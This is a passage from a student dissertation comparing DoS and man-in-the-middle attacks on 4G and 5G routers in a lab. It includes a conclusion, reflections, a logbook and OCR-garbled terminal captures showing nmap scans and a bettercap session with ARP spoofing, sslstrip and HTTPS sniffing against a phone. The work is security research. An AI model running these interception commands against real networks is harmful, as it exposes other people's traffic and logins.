In conclusion, this report has found in its testing that 5G router seem to have a lot more built-in security then 4G routers, as both attacks were unsuccessful to complete their objective in which was to steal information or to shut down the network. Furthermore, the aim was original created at the beginning of this paper has been met as intended, as this investigation was able to use two well-known attack and achieve using them on IoT devices to perform ARP & DoS attack; these attacks were on 5G &4G routers. Then being able to write a detailed log on the attack with screenshot to recreate. After creating recommendation for additional research for solutions and improvements. Then the Objective, these were to research and discover information on security threats and different types of vulnerability in networks and conduct an experiment using this data. After completing each of the section throughout the report and following these objectives it would be said that there have all been meet and accomplished.  


[bookmark: _Toc70429334][bookmark: _Toc70546077][bookmark: _Toc70433775][bookmark: _Toc70433946][bookmark: _Toc70429335][bookmark: _Toc371255566][bookmark: _Toc341174563]Chapter 6 – Conclusion & Recommendations
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4.12 [bookmark: _Toc70546079]Introduction
This section of the report will be focusing on summarising the main body of this report and the research that was carried out in the testing. It will also provide additional research recommendations for future projects and work that closely resemble this type of study in the context of attacks.
4.13 [bookmark: _Toc70429336][bookmark: _Toc70546080]Summary 
In summary, the main study involved researching and conducting experiments on 5G routers that connect to IoT devices and testing common security threats to see if they are improved in the latest cellular network generation. Comparing research data on 5G routers needs to be undertaken with its previous generation by using a 4G router. The expected outcomes that were predicted from this testing was 5G router technology was still as vulnerable as 4G technology in both forms of attack. The DOS attack was meant to remove the devices or the router from any communication or connectivity to the Internet and create a hindrance or an unpleasant experience for the end user where the other attack was to create data log of information to obtain sensitive data about the user’s activity on the network. Throughout the testing, the outcomes were very different from the hypothesis that was set earlier in the research. Above all, what stood out was the unexpected ability of the 5G devices to withstand a dos attack and man in the middle attack as both attacks were rendered unsuccessful from the data that could be retrieved. It was also surprising that both attacks completely worked on the four Gee router perfectly with data being gathered and recorded.
A significant part of this project successful outcome was from the literature review section as it was able to guide and direct the research behind this project; this allowed for the project to be shaped. This section has guided the types of attacks that were used by giving a background and understanding to why they are still commonly used with reporting of these daily. It included research about how IoT systems do not have an ecosystem for security, and therefore it is complex to secure IoT devices as all vendors create their own device security systems, leaving it to the vendor to update the security when they want, unlike Android that is updated by Google and is offered as a system to multiple companies to use. Moreover, 5G is built on a new infrastructure that offers interesting possibilities to how it can operate in IoT as it allows for individually slicing its network virtually creating different sections of its network for different types of devices. This provides much understanding to how prevention to types of attacks such as DoS and MITM attacks can be prevented. 
Next, the design and implementation section of the project was a critical and crucial stage as it was heavily affected by the literature review section and by the objectives. The attack the devices on the other side of the connection. Each device used a different operating system to try very out the results so it would not be the same OS being attacked by using an Android and iOS. Once these devices were connected to the router in subject to testing the laptop would be loaded with software used to attack each of these devices one at a time while recording the results of each attack, the software Bettercap used for the MITM offered a full range of tools for exploiting these included items such as proxy, sniffing and spoofing also including DNS spoofing to. The other attack was used by Metasploit, this flooded SYN packets, to overwhelm the devices. The outcome of both attacks on the 4G devices was successful, the DOS attack worked on the 4G router and devices but was ineffective on the 5G router and devices but for the MITM attack this showed a very different outcome from what was discussed in previous chapters. This attack partially worked as it was able to record domain names on the 4G network but was unable to record domain names on the 5G network. Another issue that was found was the devices were able to detect a MITM attack and warn the user of this security vulnerability stopping the users from accessing the network or completely hiding the data.
4.14 [bookmark: _Toc70429337][bookmark: _Toc70546081]Conclusion 
This research was conducted for understanding security vulnerabilities that are found within IoT device that are connected and operating with 5G networks. The intentions for this project were to attack a 5G network with common security threats to effect IoT devices. The attacks that were used have been detail and documented throughout the research, these are a denial-of-service attack and a man in the middle attack. Targeting the router and the devices connected to these networks to try and gain sensitive information or to completely drop the device from the network. The testing on the 4G network was successful in both attacks as it was able to drop devices off the network and even drop the SIM card from being able to connect to the network. and was also able to see information being transmitted from the device and the router with the man in the middle attack sensitive information was not able to be recorded as this was a failure but was able to collect information about what the user was accessing on websites and track the users where abouts through apps. As for the 5G this presented no effect for the denial-of-service attack this did not affect the device or the router in operation, Furthermore the man in the middle attack was prevented by the devices built in security features detecting suspicious activity on the network recommending disconnecting. Even allowing the devices to bypass the security on the phones, information and data was not able to be gathered as much as the 5G router was preventing information to be permitted and seen stopping tracking of the IP addresses on certain websites and tracking of domain names only showing brief information for certain websites.

To give a brief conclusion of what these chapters have been researching will give a brief and detailed description: chapter one was all about setting up the objectives and the aim for this project, this set up the foundations of what this project would be setting its goals. Moving on to the second chapter this was a detailed and critical section for the research as it was based on the literature review, this set out the structure of what the people was going to research and what problems it was going to try and solve. Researching about 5G network technologies and comparing it to previous generations of how much has changed Furthermore researching the security on IoT devices and how they have been affected over the years as they have been growing more and more into homes and businesses. The research shows that these IoT devices that are created with security do not have a standard security policy to follow meaning that all devices created are independently updated by the manufacturer which is extremely unsecure in a network containing a large amount of IoT devices. Moving into the critical review that analysed and reviewed papers that talked about these types of attacks and security involving IoT devices within 5G.
As for the chapter 3 this was a discussing how the project was going to be flowing and what techniques and methods were going to be used by following the onion method. Moving on to the design and implementation chapter this is what really shaped and took effect of the project, starting with the design part it created a start for how the experiment was going to be formed and shaped. Bike starting off with a problem formulation and working through the different sections by creating block diagrams and flow graphs to give a process overall. Discussing different tools and software that was going to be used in detail as well as listing all the hardware and specifications included. after this part was done moving on into the implementation section which highly detailed the process of installing software on the laptop and showing configuration for the devices to be able to connect to the networks, furthermore, detailing all the process for configuring the routers and devices to connect. after this chapter is completed the testing and evaluation for this project. 
4.15 [bookmark: _Toc70429338][bookmark: _Toc70546082]Recommendations for Additional Research 
Additional research that would be recommended is creating a solely dedicated part for testing the routers, the testing would involve multiple 5G routers and using different attacks that would affect the routers functionality. a more in depth look at the tools that we used and from these features try and gain more information that was unable to be gathered during this project. Another area for additional research would be using 2 SIM cards that are by the same provider for example using two EE Sims 1 being 4G and one being 5G and not one being a subnetwork of the other as this project uses a Virgin SIM for the 4G and an EE SIM for the 5G, both of these systems work on the same network it’s just Virgin controls its section of the network meaning it has different settings and controls than from the EE network. Additional research into the tools used may have led to different outcomes in terms of the man in the middle attack as well as using a different form of denial-of-service attack may have healed it different results. 
Additional research into equipment and tools used would be an ideal area for improving this project as given that this project only used 2 phones that were 5G, using other devices such as a microcomputer like a Raspberry Pi but has a 5G SIM card slot. Setting this out would be an ideal type of device used for testing as it does not have security built in serviced from massive companies such as Google or Apple so service patches would be dependent upon the operating system provider and from most of these devices are dependent on user to upgrade and Patch themselves.
[bookmark: _Toc70429339][bookmark: _Toc70546083]Chapter 7 – Reflections
This chapter is to cover the personal reflection of the authors learning experience and the authors own development from conducting this research. 
[bookmark: _Toc70433781][bookmark: _Toc70433952][bookmark: _Toc70429340]
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4.16 [bookmark: _Toc70546085]Introduction 
The authors enrolment into a networking and Cybersecurity course was motivated by a genuine interest in Networking, Server Administration and Cybersecurity. Given his career ambition of running his own networking and cybersecurity company,  further reinforce his understanding within computing was needed. Take part in this course was seen as a rational step to progress professionally. During which this researcher reveal that the programme has been very challenging, it has been a seriously rewarding and pleasurable experience.
4.17 [bookmark: _Toc70429341][bookmark: _Toc70546086]Aims and Object Refection 
The aim of this research was to start an investigation in to various vulnerability on internet of things and perform various amounts of attacks on them using a 5G router, with this ability to find and identify security flaws. Over the course of the last seven months during the research it was extremely pleasurable experience to try and find the answer to the aim for this entire project. After all the research designing implementation and thoroughly testing the aim was able to be achieved. For this aim to be completed identifying the security flaws within the 5G router was able to be accomplished by attacking the router we’ve two predominantly large attacks that are still very popular in use. these attacks were unsuccessful proving that 5G technology has a lot of security advantages comparison to 4G. Referring to chapter 5 in the denial-of-service attack table for 5G it shows that the attack is unsuccessful in what it was attempting to do the same applies for the man in the middle attack table in chapter 5 both attacks were unsuccessful in comparison to what was predicted earlier on in chapter 3 with the hypothesis.  
With great excitement and delight, all the objectives were met and achieved during the brief search of this project. The first objective was to research different areas of 5G and IoT devices and gather information about security flaws, referring to chapter 2  in section 2.2 and 2.2.1 this part of the chapter talks and discusses about generations of cellular networks and the progression towards 5G and its needs and demands as well as also discussing the security implementations within cellular networks as well giving a detailed background to this research. Furthermore investigating the different types of vulnerabilities that are commonly found within IoT devices over a wireless network was researched and discussed in section 2.3 in chapter 2 this section here delves into IoT devices and goes into security vulnerabilities, a common understanding is that manufacturers of IoT devices do not follow a security policy or an ecosystem each device is independently updated by the vendor creating a large problem for networks that support a large amount of IoT devices as this means that the network relies on each vendor to support the security of each device.
Conducting several experimental attacks on various IoT devices and then analysing and evaluating the outcome from the attacks. This part here is done through chapter 5 and 6 to which is during the key segments of these chapters. Please chapters explain and document the detailing of the attacks how they were attempted and finding out the results of each one of them record, this was repeated for every attack and was repeated for a 4G attack and a 5G attack. This information was then gathered and analysed for an evaluation during chapter 6. The same was also said for the IoT devices as things were part of the attack during the testing. Furthermore, the analysing and evaluation was predominantly in chapter 6 as this information here was kept logged a recorded for the outcome, this information led to giving further information about additional research as well as also giving this chapter a reflection on what could have been done better and how it could have been handled if more time were allocated.
4.18 [bookmark: _Toc70429342][bookmark: _Toc70546087]Author Learning Reflect  
Throughout the project on the research set out, a lot of key areas have been discovered and found interesting with grasp for researching more within 5G networks but more so within the cellular wireless network infrastructure. Another topic that was extremely interesting was the cyber security aspect this area is rich and full of information that is fascinating. the aspect that was gained from learning basic cyber security attacks and what they can potentially do offers an opportunity to continue developing the skills and Furthermore understanding more about the attack and how it is committed to learn how to Patch it and research behind it for possible new exploits. another area that was fascinating too research in was IoT devices as this area contained a wealth of information. after reading papers published by researchers within IoT security a common trend follows that these types of devices are very unsecure, creating a need for further research. 
Throughout this project a lot has been uncovered and has made a path clear that the author of this paper wants to follow, it has persuaded unchanged the mindset to persecute further into cyber security research as it is an extremely fascinating topic and contains a wealth of learning as well as an industry that is constantly developing every year faster than of any other industry. 
Reflecting on how well the progress of this research went is believed to be very well the answers that were found from the testing were not as perceived to be during the design and implementation, but overall the project went well as it executed everything, all the data and result were able to be analysed to show a degree of how an attack on the 5G was ineffective but also at the same time showing how a man in the middle attack is somewhat effective but not as much as a 4G network in comparison. the learning experience from this alone has been a tremendous amount of pleasure as well as fascinating for further research. overall, this project went well as it met all the goals objectives aims and was able to give her result that was different than what was expected. To discuss things that did not go well would be to mention that obtaining a 5G SIM is not the easiest thing to gain now as well as also not being able to obtain a variety of 5G devices as the cost of the device alone is expensive but also companies have not invested into upgrading current equipment to be using five cheap from 4G as the demand just is not big enough still. Overcoming these problems that were given was done by having to obtain devices that were 5G meaning that two phones that were able to handle a 5G network had to be used instead of using a device such as a laptop, tablet, or car.          
[bookmark: _Toc70546088]Different Things  
Even though the project was started at an earlier date, setting up a schedule before work started would have given a layout to follow that would have allowed for work to start one to two weeks earlier instead of setting up all the unnecessary requirements that was digging into the time frame. Another area was the research in chapter 2 as this section required research of finding information Anne should have been organised better by going more in depth in the security element of this project as more research into newer attacks would have also been a benefit as well as they could be more relevant to 5G routers. Lastly another area that could have been tackled differently whether being consulting more with professionals in this field talking to people that would have understood this to form of technology such as 5G but also talking to security professionals to find out what they find more challenging than the attacks I have researched.
[bookmark: _Toc70546089]Barriers Experienced 
There have been a handful of barriers that had to be overcame or had to be diverted around due to my skill level, partly because of my dyslexia I had to overcome writing in academic language for this report and in, so I had to seek guidance for support to finish this document to a standard level deemed good enough for academic. Furthermore, another area that was underdeveloped was my ability to programme in many languages as being able to programme would have brought forward a knew number of ideas that could have been used for this project, because of this I was unable to use tools such as Raspberry pi or Arduino. Lastly an area that was difficult to overcome was trying to find relevant papers to the research I was trying to conduct.
[bookmark: _Toc70546090]Positives 
Receiving weekly meetings and guidance from the supervisor was a very helpful and critical amount of support given to the direction and the completion of this project. without the support of the supervisor what have led to work not being correct and leading to deadlines not being met and potentially missing the overall deadline towards this project. another area was researching into a field that was emerging and it was extremely fun and rewarding by testing this new emerging technology as it will be growing more into the future into consumers’ homes and businesses. Being able to research gnu technology and also to delve deeper into research papers that contain information about other topics that relate very close to security, IoT, devices, 5G and cellular networks in general.

[bookmark: _Toc70546091]Guidance to the future students 
Before starting your project make sure you have the topic that you wish to study as this will save time in your first few weeks of creating a schedule and an idea of what you want to do otherwise it will start to take up time into your project which could be used Feel research stage. Furthermore, making sure that what you research is broad enough to research across multiple areas in case you need to change your project halfway through from developments that may occur as through this project it was unable to continue with the original plan as it was unfeasible to move forward with it due to cost and limitations of the technology being available to use.
When picking your project and your research topic make sure it is something that the individual finds interesting do not use a topic that is boring to the reader as this will create you to lose interest halfway through this project and can cause you to potentially lose marks or even try and change it at the last minute creating massive problems ahead. Moreover, take advice from the project supervisors, the project supervisors know what they are doing and how they can best help the students get the best possible marks for what they are doing. Set up regular meetings with your supervisor and set weekly tasks to give to your supervisor if it means just completing parts of your chapters each week will keep you ahead of the deadline that is set for this project it is super important to get past certain chapters at certain dates otherwise you are going to be stuck with a lot of work just prior to the deadline.
[bookmark: _Toc70546092]Summary 
To summarise the findings of this paper and the experience of this research in total shows that there is always an opportunity to learn new things, experience and gain new, learning never comes to an end it always grows and can expand into new fields. This project has been successful because it was broken down into small achievable units of work with the right amount of resource is given to it and support from different areas allowed for it to be able to achieve its objectives and its aim. For this experience has been gained in project management and has been able to bring a load of skills 2 be used in the working world The ability to understand time constraints costs being able to maximise the workload for the quality of the work and being able to factor this in within deadlines is a massive skill to have when dealing with projects. for this to work staying focused and motivated throughout the project is the ability of factoring those problems and can affect the end result of the project easily and quickly if not here too early on. this has been an absolute wonderful experience and a lot of lessons have been learned and a lot of skills have been gained.
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6.1 [bookmark: _Toc70429345][bookmark: _Toc70546095]Appendix 1 – Research Process
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[bookmark: _Toc70546187]Figure 82 - Research Process for the Project Highlighting  the Process.
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[bookmark: _Toc70546188]Figure 83 - Onion Diagram [72]
6.2 [bookmark: _Toc70429346][bookmark: _Toc70546096]Appendix 2 – Block Diagram
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[bookmark: _Toc70546189]Figure 84 – More Detailed Block Design


6.3 [bookmark: _Toc70429347][bookmark: _Toc70546097]Appendix 3
The software and tools that have been used are individually important and specifically desired for certain parts of this experiment to work. Most operating systems that use Linux would work and be acceptable for this kind of experiment as it is mostly just the host for the applications that are being used. To make this experiment  operate clean and reliable it has had been chosen to use an operating system that is fit for this kind of style of experiment. Using the Kali Operating System is dedicated to pen testing applications, hardware, or services. This will be perfectly fitting for this king of testing. For the software there will be three applications utilised for the experiment, these are a packet analyse application called Wireshark, this is used to find the packets and track the amount that will be used during the test of the attack. Measuring the number of packets being sent & the amount that fail. The Second application that would be used is Metasploit, this application is one of the best penetration testing tools, this tool would be used to launch an attack for DOS on the routers. Furthermore, the last application is Bettercap this application is used to perform a man in the middle attack, it will be used to obtain the device information such as device history and login details.  
[bookmark: _Hlk64983894]For the hardware and tools to be used, it was important to have devices that were 5G enabled and have devices that were backwards compatible with 4G. This led to using two phones that were 5G enabled and contained 4G, these phones are Samsung Galaxy S20 Ultra 5G (sub-6 GHz) & iPhone 12 5G (sub-6 GHz). The equipment that is being used is a laptop that is running Kali Linux, the laptop is a razor blade, and it has an i7 processor with 16 gigabytes of ram Furthermore containing a Wi-Fi card that works with 802.11ac. Furthermore, the additional Wi-Fi antenna that connects via USB to the laptop. The two routers that need to be used are a 5G router and a 4G router, these two routers we used to test the comparison between previous generations. 
6.4 [bookmark: _Toc70429348][bookmark: _Toc70546098]Appendix 4 – Router Diagram
[image: ]
[bookmark: _Toc70546190]Figure 85 - Router Solutions Diagram
6.5 [bookmark: _Toc70429349][bookmark: _Toc70546099]Appendix 5
To give a design overview of how this project experiment will take place, there will be 2 experiments that will follow directly after each other, in figure 6 5G design & figure 7 4G design, there are two block diagrams that show the design of the experiment. the experiments contain two different items but are a 5G router on 4G router in both different block diagrams, everything else in these diagrams stay the same as this will help to create a comparison for the two different technologies at the end to show if 5G technology has improved on its flaws since 4G. Starting off by having a rogue laptop outside of the network connecting over a Wi-Fi connection, having the attacker using the two different attacks (not at the same time) to hack the router. Successfully, the hacker will be able to slow the connection down to be unusable or potentially be able to watch and track user’s activity. At this point the hacker has got the ability to watch and slow down or even disconnect uses from the router, to find a solution for this will require some security input and using a framework for the user to operate. 

The design was chosen as it easy to maintain and setup for effective analysing. Comparing this design to other designs found in the literature section, this experiment design has been focused more on the attack to the router and recording the results from the attacks pc and the phone operations.  
6.6 [bookmark: _Toc70429350][bookmark: _Toc70546100]Appendix 6 - Method 
Method
An example of understanding the project ahead will require the use of methods like penetration on the 5G router, Once the penetration is successful it will allow for the laptop loaded with present software tools start scanning for available devices, boss’s devices are found initiating denial of service attacks on devices to drop them out of the network or setting up a man in the middle attack on creating a fake website i.e., Twitter or Facebook collecting logging details.
The reasons why these two types of attacks were selected is because they are predominantly still around after 25 years of being discovered. For these attacks to still be capable of working on the latest standard of network such as 5G brings up questions why has this not been got a solution? 
A solution framework design involves primarily teaching end users security information and understanding the devices they are using and what there are working on. For their solution to work, the end users must go through quick and detailed course on basic threats such as malware and phishing links. Referring to Figure 10, a diagram of how a solution would be used. Creating a solution would also involve upgrading the default security on a router. Default security settings on routers are not always the most secure, even when they are coming directly from the factory brand new. This will mean that devices will need to have certain things change, like the default password. Disabling UPnP and remote access as some examples. Referring to figure 11. Shows a solution to configuring default security on a 5 two router.
The attack in the first case is a distributed denial of service attack and the second attack to be used is a Man in the Middle Attack. These two attacks work with the same principle, but both have a different outcome, A DOS attack works on taking the 5G router down by overload the system to crash or reboot, making the signal unable for the end users. The MitM attack works on looking at the data being sent in between the devices with the attack being able to record user information. 
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6.7 [bookmark: _Toc70546101]Appendix 7 - Samsung Phone Setup

	Screenshot Images
	Explanation of Events
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[bookmark: _Toc70546191]Figure 86 - Samsung Home Screen
	 On the home screen of the Samsung phone is a setting button, this can also be located on the home screen or within the option of the notification menu in the top right corner. Once the setting page has loaded it will present a menu of options for the phone settings.
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[bookmark: _Toc70546192]Figure 87 - Samsung Connection Option
	 In this page, selecting the option “connections” this will open the options for networks. This will be found close to the top of the setting.
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[bookmark: _Toc70546193]Figure 88 - Network Mode
	

 Near the top, selecting the option for the “mobile networks” in these options it will allow for a collection for my in-depth configuration for the network.  
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[bookmark: _Toc70546194]Figure 89 - Selecting 5G (auto connect)
	
 The option “Network Mode” is where the user can change to the preferred Network Mode. This was set to 5G, so when a 5G network comes in reach it is about to auto connect to a 5G standard. Once this is done the phone Is setup and ready to connect.



6.8 [bookmark: _Toc70429353][bookmark: _Toc70546102]Appendix 8 – iPhone Setup

	Screenshot Images
	Explanation of Events
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[bookmark: _Toc70546195]Figure 90 - iPhone Home Screen
	
 On the home screen of the iPhone is a setting button, this can also be located on the home screen. Once the setting page has loaded it will present a menu of options for the phone settings.  
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[bookmark: _Toc70546196]Figure 91 - iPhone Setting Page
	
 In this page, selecting the option “Mobile Data” this will open the area for configuring the iPhone sim setting. This will be found close to the top of the setting.
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[bookmark: _Toc70546197]Figure 92 - Mobile Data Options
	
 Near the top, selecting the option for the “mobile data options” in these options it will allow for a more in-depth configuration for how the phone will connect to the operator’s network.  
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[bookmark: _Toc70546198]Figure 93 - Selecting Voice & Data
	
 The selecting the option “Voice & Data” & “Data Mode” is where the user can change to the preferred Network Mode. (5G, 4G or 3G).
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[bookmark: _Toc70546199]Figure 94 - Selecting 5G
	 This will be set to 5G, so when a 5G network comes in reach it is about to auto connect to a 5G standard. Once this is done the iPhone Is setup and ready to connect.








6.9 [bookmark: _Toc70429355][bookmark: _Toc70546103]Appendix 9 – Kali Linux Setup

	Screenshot Images
	Explanation of Events
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[bookmark: _Toc70546200]Figure 95 - Kali Install Menu
	
 kali installer offers a menu when booting for the first time, choosing the graphical install will allow for a desktop view to be pre-installed with the operating system. Overall, this will make accessing and using the operating system easier and quicker for demonstration purposes. 
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[bookmark: _Toc70546201]Figure 96 - Kali Time Zone, Keyboard & Language
	  The first step of installing the operating system is setting up the keyboard location and language that the system is going to be using such in this to British English and UK keyboards as the standard as well as being set in London for time zone.
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[bookmark: _Toc70546202]Figure 97 - Kali Setting Hostname

	
 The system a host name, this is what is used to identify the system to the network. 
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[bookmark: _Toc70546203]Figure 98 - Kali Username

	
 Setting up the username allows for user accounts to be created to log into the system, this user account will be created by default and will have root privileges.
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[bookmark: _Toc70546204]Figure 99- Kali Password










	

 The password needs to be created for the account log on this password space set to “Passwd-admin-2021@”.
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[bookmark: _Toc70546205]Figure 100 - Kali Base System Installation

	 After the password has been setup the system would then start to partition the disk, this was just set to a basic disc installed with no encryption. The system also asked for a proxy information this was just left blank, and then lastly the software selection where a selection of different desktop environments could be selected or a collection of tools set from minimal, default or large collection. For this option it was chosen to just go with the default software and for the desktop environment going with GNOME.
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[bookmark: _Toc70546206]Figure 101 - Kali Login Screen
	

 Furthermore, once this section is completed, the system will reboot, and it should bring the lock screen up with password request. Using the password that created in the previous steps “Passwd-admin-2021@” will allow the user to logo on.
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[bookmark: _Toc70546207]Figure 102 - Kali Home Screen
	

 Once the user is log in, this will be the home screen. This desktop environment is played out very much like windows, allow for a smooth transition for user move back and forth.





6.10 [bookmark: _Toc70429357][bookmark: _Toc70546104]Appendix 10 – Gantt Chart
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[bookmark: _Toc70546208]Figure 103 - Gant Chart for Task View 
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6.11 [bookmark: _Toc70429359][bookmark: _Toc70546105]Appendix 11 - Logbook

	[bookmark: _Toc70429361]Date
	[bookmark: _Toc70429362]Logbook Notes

	09/10/20
	· First meeting was a discussion about the project and how to go about tweaking and the project to fit within an easy time frame and achievable goals.

	16/10/20
	· Guidance and information were given on how to structure the project and go through the first chapters. Starting on chapter one with the introduction and the objectives, aims and structure of the report. 
· Researching information on security IoT devices and 5G mostly researching cellular networks for later and saving this information in referencing.

	23/10/20
	· Continuing the structure of the report by researching external papers and looking at security frameworks.
· Going through spelling and grammar and tidying up unprofessional University grammar in the paper to make it more professional for publication. 

	30/10/20
	· Starting on the literature review.
· Gathering resources and research papers.
· finished the introduction.
· start on cellular networks.

	06/11/20
	· Finished an overall view of the cellular networks and the security architecture of 5G talking about Network slicing.
· Talks about it and more about the security elements behind it.
· Need to complete and understand more about the security threats.

	13/11/20
	· Research survey papers.
· Add more information and research.
· Use more up-to-date information.
· Get the critical review started.

	20/11/20
	· Focus on 2 key Ares:
· General knowledge on survey paper 
· Related work with technical paper / experiments
· Use Sub heading to keep log about that. 
· Constantly keep going back and keep adding for new information in the appropriate area. 

	27/11/20
	· What is the best way about conducting the experiment? 
· I looked at the software MATLAB and it look limited in what I can do.
· Would it be best to focus on attack on IoT devices

	04/12/20
	· Keep working on the lecture revive and the related work. 
· Aked a question about the authors of two paper and there are good and 

	11/12/20
	· 

	15/01/21
	· Preparing Presentation for the Interim Viva Guide 

	22/01/21
	· Finishing and completing the methodology section on the project

	26/01/21
	· Starting the design & implementation
· Use block diagrams to outline the problems to be solved. 
· - Outline the approach and how to solve the problem 
· - The methods used to solve or experiment 
· - Outline the tools being used hardware or software 


	02/02/21
	· Outline the Approach to the problems that need to be solved. 
· How I am going to find the problem – Method – Example Penetration   
· Explain the problem after 


	09/02/21
	· The step by step of the procedures / configuration of implementing the design structure to get it working.
· Take screenshot at ever steps number them and explain. These steps are when you configure the design. 
· Discuss ever part of the design / Cables / Router / Devices
· Screenshot the process on the kali OS all the way through.
· Maybe record a video for the experiment  
· Show all steps when going though all experiment. 


	16/02/21
	· No updates

	23/02/21
	· No updates

	02/03/21
	· The meeting concluded with the supervisor discussing that finishing the chapter for design and implementation was critical to meet deadlines.

	09/03/21
	· Testing the 4G Router
· Tested DoS & MitM Attacks
· Recording results 

	16/03/21
	· Testing the 5G Router
· Having to travel to Swansea to gain access to the 5G network for testing on the router.
· Tested DoS & MitM Attacks
· Recording results

	23/03/21
	· Recreated the testing to video recorded the results for evidence. 
· Writing up the testing 
· Reading addition paper

	30/03/21
	· Easter Break - No meeting
· Started creating the conclusion & finished. 
· Started chapter 7 reflection 

	06/04/21
	· Easter Break - No meeting
· Finished the last chapter. 
· Added all the reference into the document. 
· Finished updating the gant chart.
· Also did a grammar and spelling check

	13/04/21
	· Easter Break - No meeting
· Continued to check for grammar and spelling errors.

	20/04/21
	· The final Meeting with my supervisor, this meet was to fix any lose ends and tidy up part that did not flow or with not needed for my project. Parts of the project are places within the appendix.
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Widespread IT Security

ToT security

Widespread IT has devices which is resource rich

ToT devices need to be carefully provisioned with security
measures

Widespread IT is based on resource rich devices

ToT system are composed of devices having limitation in
terms of their software and hardware

For wide security and lower capabilities complex algorithm
are implemented
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. [N Kali-user : ruby — Konsole - o x
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[sudo] password for kali-user:
Sorry, try again.

[sudo] password for kali-user:

[1] Database already started
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. [N kali-user : bash — Konsole
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{41l erieliio sudo apt-get install bettercap
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:

bettercap-caplets bettercap-ui
The following NEW packages will be installed:

bettercap bettercap-caplets bettercap-ui
0 upgraded, 3 newly installed, 0 to remove and 1773 not upgraded
Need to get 0 B/8,359 kB of archives.
After this operation, 43.7 MB of additional disk space will be used
Do you want to continue? [¥/n
Selecting previously unselected package bettercap.
(Reading database ... 266047 files and directories currently installed.
Preparing to unpack ... /bettercap_2.29-0kalil_and64.deb ...
Unpacking bettercap (2.29-0kali1)
selecting previously unselected package bettercap-ui.
Preparing to unpack ... /bettercap-ui_1.3.0+really1.3.0-0kali1 all.deb ...
Unpacking bettercap-ui (1.3.0+reallyl.3.0-0kali1) .
selecting previously unselected package bettercap-caplets.
Preparing to unpack ... /bettercap-caplets_0+git20201031-0kali1 all.deb ...
Unpacking bettercap-caplets (0+git20201031-0kali1) ...
Setting up bettercap (2.29-0kali1) ...
bettercap.service is a disabled or a static unit not running, not starting it.
Setting up bettercap-ui (1.3.0+really1.3.0-0kali1)
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Processing triggers for kali-menu (2020.2.1) ...
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nmbd. service is a disabled or a static unit not running, not starting it.
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From 192.168.1.1
Sequence 1, size 64 bytes, ttl 64
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From 192.168.1.1
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Ping statistics:
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Total execution time 3068 ms
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(kati-users katd)-(-]
L ping 192.168.1.1

64 bytes fron 192.1
64 bytes fron 192.1
64 bytes fron 192.1
64 bytes fre

64 bytes fron 152.168.1.1
g

Lopcseqss txines timtiss
icnp_seq6 ttl=64 tines2.
icnp_seq=7 ttl=64 time-2.34

222:

192.168.1.1 ping statistics ——
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L—(kau-userekau)—[-]

$ sudo nmap -sP 192.168.1.0/24

[sudo] password for kali-user:

Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-23 11:23 GMT
Nmap scan report for 192.168.1.1

Host is up (0.0024s latency).

MAC Address: 50:D4:F7:C4:68:73 (Tp-link Technologies)

Nmap scan report for 192.168.1.100

Host is up (0.12s latency).

MAC Address: 02:5B:3B:F5 A (unknown)

Nmap scan report for 192.168.1.101

Host is up (0.10s latency).

MAC Address: 22:DF:FO:BF:C4:6E (Unknown)

Nmap scan report for 192.168.1.104

Host is up.

Nmap done: 256 IP addresses (4 hosts up) scanned in 2.53 seconds

L—(kali-user@ kali)-[~]
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L—(kau-usere kali)-[~]
$ sudo nmap 192.168.1.0/24

Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-23 11:25 GMT
Nmap scan report for 192.168.1.1

Host is up (0.0031s latency).

Not shoun: 995 closed ports

PORT  STATE SERVICE
22/tcp  open ssh
23/tcp  open telnet
53/tcp  open domain
80/tcp open http
1900/tcp open upnp

MAC Address: 50:D4:F7:Ch

173 (Tp-link Technologies)

Nmap scan report for 192.168.1.100

Host is up (0.0023s latency)

Not shown: 996 closed ports

PORT STATE SERVICE

2718/tcp filtered pn-requester2
4126/tcp filtered ddrepl

10004/tcp filtered emcrmirccd

62078/tcp open iphone-sync

MAC Address: 02:5B:3B:F5:F4:9A (Unknown)

Nmap scan report for 192.168.1.101

Host is up (0.0035s latency)

Not shown: 999 closed ports

PORT STATE SERVICE

9080/tcp filtered glrpc

MAC Address: 22:DF:FO:BF:C4:6E (Unknown)

Nmap scan report for 192.168.1.104
Host is up (0.0000020s latency).
ALL 1000 scanned ports on 192.168.1.104 are closed

Nmap done: 256 IP addresses (4 hosts up) scanned in 24.01 seconds
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bettercap v2.29 (built for linux amd64 with go1.15.6) [type 'help' for a list of commands]

192.168.1.104
192.168.1.104
192.168.1.104
192.168.1.104
192.168.1.104 [ENEE] 9] [sys.log] [[N] B
192.168.1.104 [ENEE] 9] [sys.log] [[Y] G
192.168.1.104 [13 9] [endpoint.new] endpoint 192.168.1.100 detected as 02
ECZIECERWETTY » http.proxy on

(] [ WOTTN] started on 192.168.1.104:8080 (sslstrip enabled)
> 192.168.1.104 [ESRISLIA)
> 192.168.1.104 BN |

set http.proxy.sslstrip true

set net.sniff.verbose false

set arp.spoof.targets 192.168.1.100

arp.spoof_on

FITT]] starting net.recon as a requirement for arp.spoof.
LI100] arp spoofer started, probing 1 targets
b:3b:f5:f4:9a.

sx v
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a root@kali: /home/kali-user

192.168.1.0/24 » set http.proxy.sslstrip true

192.168.1.0/24 » set net.sniff.verbose false

192.168.1.0/24 » set arp.spoof.targets 192.168.1.100
192.168.1.0/24 » arp.spoof on

192.168.1.0/24 » [13 9] [sys.log] [j] [TT]] starting net.recon as a requirement for arp.spoof
192.168.1.0/24 » [13 9] [sys.log] (@A) DS0ETL0N arp spoofer started, probing 1 targets
192.168.1.0/24 » [13 9] [endpoint.neu] endpoint 192.168.1.100 detected as 02:5b:3b:f5:f4:9a
192.168.1.0/24 » http.proxy on

[13:06:19] [sys.Toc] [ERE] started on 192.168.1.104:8080 (sslstrip )
192.168.1.0/24 » net.sniff on

192.168.1.0/24 » [13 [net.sniff.https] il 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] S8 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] SN 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] S8 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] S8 192.168.1.100 >
192.168.1.0/24 » [13:07:28] [net.sniff.https] S 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] SN 192.168.1.100 >
192.168.1.0/24 » [13 [net.sniff.https] S8 192.168.1.100 >
